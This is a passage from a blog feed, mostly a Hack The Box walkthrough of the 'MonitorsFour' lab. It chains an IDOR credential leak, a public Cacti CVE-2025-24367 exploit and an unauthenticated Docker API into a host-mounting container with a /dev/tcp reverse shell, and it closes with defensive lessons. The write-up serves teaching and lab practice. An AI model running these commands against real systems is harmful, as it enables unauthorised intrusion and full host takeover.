&lt;p&gt;For defenders: Audit all MSSQL linked servers and remove those not explicitly required. Apply security patches promptly. Implement least-privilege access controls and restrict DCSync permissions. Monitor for unusual authentication patterns, particularly machine account abuse and SMB coercion attempts.&lt;/p&gt;




&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/fortra/impacket" rel="noopener noreferrer"&gt;Impacket Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/GhostPack/Rubeus" rel="noopener noreferrer"&gt;Rubeus - Kerberos Tooling&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/sql/relational-databases/security/" rel="noopener noreferrer"&gt;MSSQL Security Hardening&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




</description>
      <category>hackthebox</category>
      <category>cybersecurity</category>
      <category>activedirectory</category>
      <category>ctf</category>
    </item>
    <item>
      <title>HTB: MonitorsFour - Full Walkthrough</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 27 May 2026 04:54:03 +0000</pubDate>
      <link>https://dev.to/exploitnotes/htb-monitorsfour-full-walkthrough-445k</link>
      <guid>https://dev.to/exploitnotes/htb-monitorsfour-full-walkthrough-445k</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;If you've been grinding HTB long enough, you start recognizing a pattern: one small oversight compounds into another until the entire system is wide open. MonitorsFour is a textbook example of that. No single vulnerability here is exotic — but chained together, they hand you full control of the host. Let's walk through it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium | &lt;strong&gt;OS:&lt;/strong&gt; Windows | &lt;strong&gt;Platform:&lt;/strong&gt; Hack The Box&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack Path:&lt;/strong&gt; IDOR → Credential Disclosure → Cacti RCE → Container Escape → Docker API Abuse → Root&lt;/p&gt;




&lt;h2&gt;
  
  
  Reconnaissance
&lt;/h2&gt;

&lt;p&gt;Standard nmap scan to start:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sCV&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &amp;lt;Target_IP&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; filename
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fakt8hnm2c81gasxkex4p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fakt8hnm2c81gasxkex4p.png" alt=" " width="800" height="409"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Two ports of interest came back:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Port 80/tcp — HTTP (nginx)&lt;/li&gt;
&lt;li&gt;Port 5985/tcp — WinRM (Windows Remote Management)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The website itself had nothing obviously useful on the surface. Time to dig deeper.&lt;/p&gt;




&lt;h2&gt;
  
  
  Enumeration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Directory Fuzzing
&lt;/h3&gt;

&lt;p&gt;Running ffuf against the web root to find hidden endpoints:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt &lt;span class="nt"&gt;-u&lt;/span&gt; http://monitorsfour.htb/FUZZ &lt;span class="nt"&gt;-ac&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A &lt;code&gt;/user&lt;/code&gt; endpoint surfaced. Navigating to it returned an error — a token parameter was expected.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1csoxoolsigg184f2ifr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1csoxoolsigg184f2ifr.png" alt=" " width="800" height="176"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The IDOR Vulnerability
&lt;/h3&gt;

&lt;p&gt;Here's where it gets interesting. I tried the simplest possible value: &lt;code&gt;token=0&lt;/code&gt;. It worked.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwwbqvdab8h7lfny8a4b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwwbqvdab8h7lfny8a4b.png" alt=" " width="800" height="119"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is a classic IDOR (Insecure Direct Object Reference) — the backend assigned tokens as sequential integers and performed no ownership validation whatsoever. Passing &lt;code&gt;token=0&lt;/code&gt; returned the first user's data, no authentication required.&lt;/p&gt;

&lt;p&gt;The exposed data included password hashes. Those hashes? Unsalted MD5 — trivially crackable using CrackStation. Within seconds, valid credentials were in hand.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvls9082huaakxmp3t0bh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvls9082huaakxmp3t0bh.png" alt=" " width="800" height="406"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Virtual Host Enumeration
&lt;/h3&gt;

&lt;p&gt;The cracked credentials didn't work on the main site. With WinRM also open, it was worth checking for additional virtual hosts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://monitorsfour.htb &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Host: FUZZ.monitorsfour.htb"&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/dirb/wordlists/big.txt &lt;span class="nt"&gt;-ac&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuh7ruz4oeamnpvus69hr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuh7ruz4oeamnpvus69hr.png" alt=" " width="800" height="310"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A subdomain appeared: &lt;code&gt;cacti.monitorsfour.htb&lt;/code&gt;. Added it to &lt;code&gt;/etc/hosts&lt;/code&gt; and navigated over.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc77082ydanm5i05z7jcs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc77082ydanm5i05z7jcs.png" alt=" " width="800" height="403"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Always check for virtual hosts — they're often where the real attack surface hides.&lt;/p&gt;

&lt;h3&gt;
  
  
  Gaining Access to Cacti
&lt;/h3&gt;

&lt;p&gt;The login page came up. Trying &lt;code&gt;admin / wonderful1&lt;/code&gt; failed — username mismatch. But the IDOR endpoint had leaked the administrator's full name (Marcus Higgins) and email address. Trying a few variations of the name, &lt;code&gt;marcus / wonderful1&lt;/code&gt; succeeded.&lt;/p&gt;




&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Identifying the CVE
&lt;/h3&gt;

&lt;p&gt;The Cacti version was displayed openly on the dashboard: &lt;strong&gt;Cacti 1.2.28&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fze5nhr6i0o30pa7qhlyo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fze5nhr6i0o30pa7qhlyo.png" alt=" " width="799" height="407"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A quick search surfaced &lt;strong&gt;CVE-2025-24367&lt;/strong&gt; — a critical authenticated RCE vulnerability affecting Cacti ≤ 1.2.28. The flaw lies in the Graph Template functionality, where user-supplied input is passed to rrdtool without proper sanitisation, enabling command injection.&lt;/p&gt;

&lt;h3&gt;
  
  
  Setting Up the Exploit
&lt;/h3&gt;

&lt;p&gt;A public PoC was available. Clone it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC
&lt;span class="nb"&gt;cd &lt;/span&gt;CVE-2025-24367-Cacti-PoC
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmyqiejmgga6q6013vlrz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmyqiejmgga6q6013vlrz.png" alt=" " width="797" height="150"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Start a listener on port 4444:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then fire the exploit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 exploit.py &lt;span class="nt"&gt;-url&lt;/span&gt; http://cacti.monitorsfour.htb &lt;span class="nt"&gt;-u&lt;/span&gt; marcus &lt;span class="nt"&gt;-p&lt;/span&gt; wonderful1 &lt;span class="nt"&gt;-i&lt;/span&gt; 10.10.14.145 &lt;span class="nt"&gt;-l&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Shell Received
&lt;/h3&gt;

&lt;p&gt;A reverse shell landed as &lt;code&gt;www-data&lt;/code&gt; inside the Cacti web directory — initial foothold confirmed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9nr5ceqjanuyxqmo77m8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9nr5ceqjanuyxqmo77m8.png" alt=" " width="800" height="160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  User Flag
&lt;/h3&gt;

&lt;p&gt;Basic enumeration of &lt;code&gt;/home&lt;/code&gt; revealed a directory for marcus. The &lt;code&gt;user.txt&lt;/code&gt; file inside was world-readable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /home
&lt;span class="nb"&gt;ls&lt;/span&gt; /home/marcus
&lt;span class="nb"&gt;cat&lt;/span&gt; /home/marcus/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3jio2h2mrbso7larcbkf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3jio2h2mrbso7larcbkf.png" alt=" " width="800" height="671"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;User flag captured!&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Privilege Escalation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Recognizing the Container
&lt;/h3&gt;

&lt;p&gt;The system hostname was a hex string — the kind Docker assigns to containers. No sudo available either. Checking the network:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IP in the &lt;code&gt;172.18.0.0/16&lt;/code&gt; range&lt;/li&gt;
&lt;li&gt;Default gateway &lt;code&gt;172.18.0.1&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2v6io3vy2saath1numdq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2v6io3vy2saath1numdq.png" alt=" " width="800" height="264"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This was a Docker container. The escalation objective shifted: escape the container and reach the host.&lt;/p&gt;

&lt;h3&gt;
  
  
  Finding the Host IP
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;/etc/resolv.conf&lt;/code&gt; in containerized environments is auto-generated by the Docker engine and often reveals the host-side IP. Checking it disclosed the Docker host IP: &lt;code&gt;192.168.65.7&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F14j8x5ccz9vzwsb96yn5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F14j8x5ccz9vzwsb96yn5.png" alt=" " width="799" height="216"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Unauthenticated Docker API
&lt;/h3&gt;

&lt;p&gt;Port 2375 is the classic Docker Remote API port. Testing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://192.168.65.7:2375/version
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffipgqe02khphem6x0jdn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffipgqe02khphem6x0jdn.png" alt=" " width="800" height="147"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;No auth prompt. No TLS. The daemon just… answered.&lt;/p&gt;

&lt;p&gt;An exposed Docker API without auth lets you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create containers with arbitrary mounts&lt;/li&gt;
&lt;li&gt;Run in privileged mode&lt;/li&gt;
&lt;li&gt;Bypass host kernel protections entirely&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Enumerating Available Images
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://192.168.65.7:2375/images/json | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"RepoTags:&lt;/span&gt;&lt;span class="se"&gt;\[&lt;/span&gt;&lt;span class="s2"&gt;[^]]*&lt;/span&gt;&lt;span class="se"&gt;\]&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhj9ud8pwvswty6gy6364.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhj9ud8pwvswty6gy6364.png" alt=" " width="800" height="131"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Several locally cached images were available. Using an existing image (&lt;code&gt;docker_setup-nginx-php:latest&lt;/code&gt;) avoids pulling anything new — quieter, and more reliable in restricted environments.&lt;/p&gt;

&lt;h3&gt;
  
  
  Creating the Malicious Container
&lt;/h3&gt;

&lt;p&gt;Create &lt;code&gt;container.json&lt;/code&gt; on the attacking machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Image"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"docker_setup-nginx-php:latest"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Cmd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"/bin/bash"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"-c"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;tun-ip&amp;gt;/9999 0&amp;gt;&amp;amp;1"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"HostConfig"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"Binds"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"/mnt/host/c:/host_root"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this HTB lab environment (WSL2-based), the Windows host filesystem is exposed at &lt;code&gt;/mnt/host/c&lt;/code&gt; from within Linux containers.&lt;/p&gt;

&lt;p&gt;Serve the file from the attacking machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fetch it from within the existing shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;tun-ip&amp;gt;:8000/container.json &lt;span class="nt"&gt;-o&lt;/span&gt; container.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Create the container via the API:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; @container.json &lt;span class="se"&gt;\&lt;/span&gt;
  http://192.168.65.7:2375/containers/create?name&lt;span class="o"&gt;=&lt;/span&gt;pwned
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Start a listener:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 9999
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Start the container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://192.168.65.7:2375/containers/pwned/start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Root Flag
&lt;/h3&gt;

&lt;p&gt;A shell arrived with full access to the host filesystem via &lt;code&gt;/host_root&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; /host_root/Users/Administrator/Desktop/
&lt;span class="nb"&gt;cat&lt;/span&gt; /host_root/Users/Administrator/Desktop/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fik9xfy7izerv39rfu0bh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fik9xfy7izerv39rfu0bh.png" alt=" " width="800" height="110"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Root flag captured!&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Attack Chain Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Reconnaissance&lt;/td&gt;
&lt;td&gt;Nmap revealed HTTP and WinRM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IDOR&lt;/td&gt;
&lt;td&gt;token=0 exposed admin credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hash Cracking&lt;/td&gt;
&lt;td&gt;Unsalted MD5 cracked via CrackStation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vhost Enumeration&lt;/td&gt;
&lt;td&gt;Discovered cacti.monitorsfour.htb&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cacti Login&lt;/td&gt;
&lt;td&gt;Credentials reused successfully&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RCE&lt;/td&gt;
&lt;td&gt;CVE-2025-24367 gave www-data shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Container Escape&lt;/td&gt;
&lt;td&gt;Unauthenticated Docker API on port 2375&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root&lt;/td&gt;
&lt;td&gt;Mounted host filesystem via malicious container&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Lessons Learned
&lt;/h2&gt;

&lt;p&gt;MonitorsFour isn't a box that requires exotic techniques. Every step in this chain is a well-documented, preventable misconfiguration:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. IDOR with sequential tokens&lt;/strong&gt; — Always validate that the authenticated user owns the resource being requested. Token values should be non-sequential (UUIDs), and ownership must be checked server-side on every request.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Unsalted MD5 for passwords&lt;/strong&gt; — MD5 was never appropriate for password storage, and without a salt it's instantly reversible. Use bcrypt, scrypt, or Argon2 with a unique per-user salt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Unpatched software&lt;/strong&gt; — CVE-2025-24367 had patches available. Cacti 1.2.28 should not have been running in any internet-facing or networked context.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Unauthenticated Docker API&lt;/strong&gt; — Exposing the Docker daemon on port 2375 without TLS mutual authentication is equivalent to giving any user on the network a root shell. If the Remote API is needed at all, it must be locked down with certificates and network-level controls.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The takeaway: defense in depth matters. Any one of these issues in isolation is manageable. Together, they resulted in full host compromise from a single unauthenticated HTTP request.&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>cybersecurity</category>
      <category>docker</category>
      <category>ctf</category>
    </item>
    <item>
      <title>From Credentials to Domain Admin: Support Machine Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 27 May 2026 04:35:34 +0000</pubDate>
      <link>https://dev.to/exploitnotes/from-credentials-to-domain-admin-support-machine-writeup-1k2c</link>
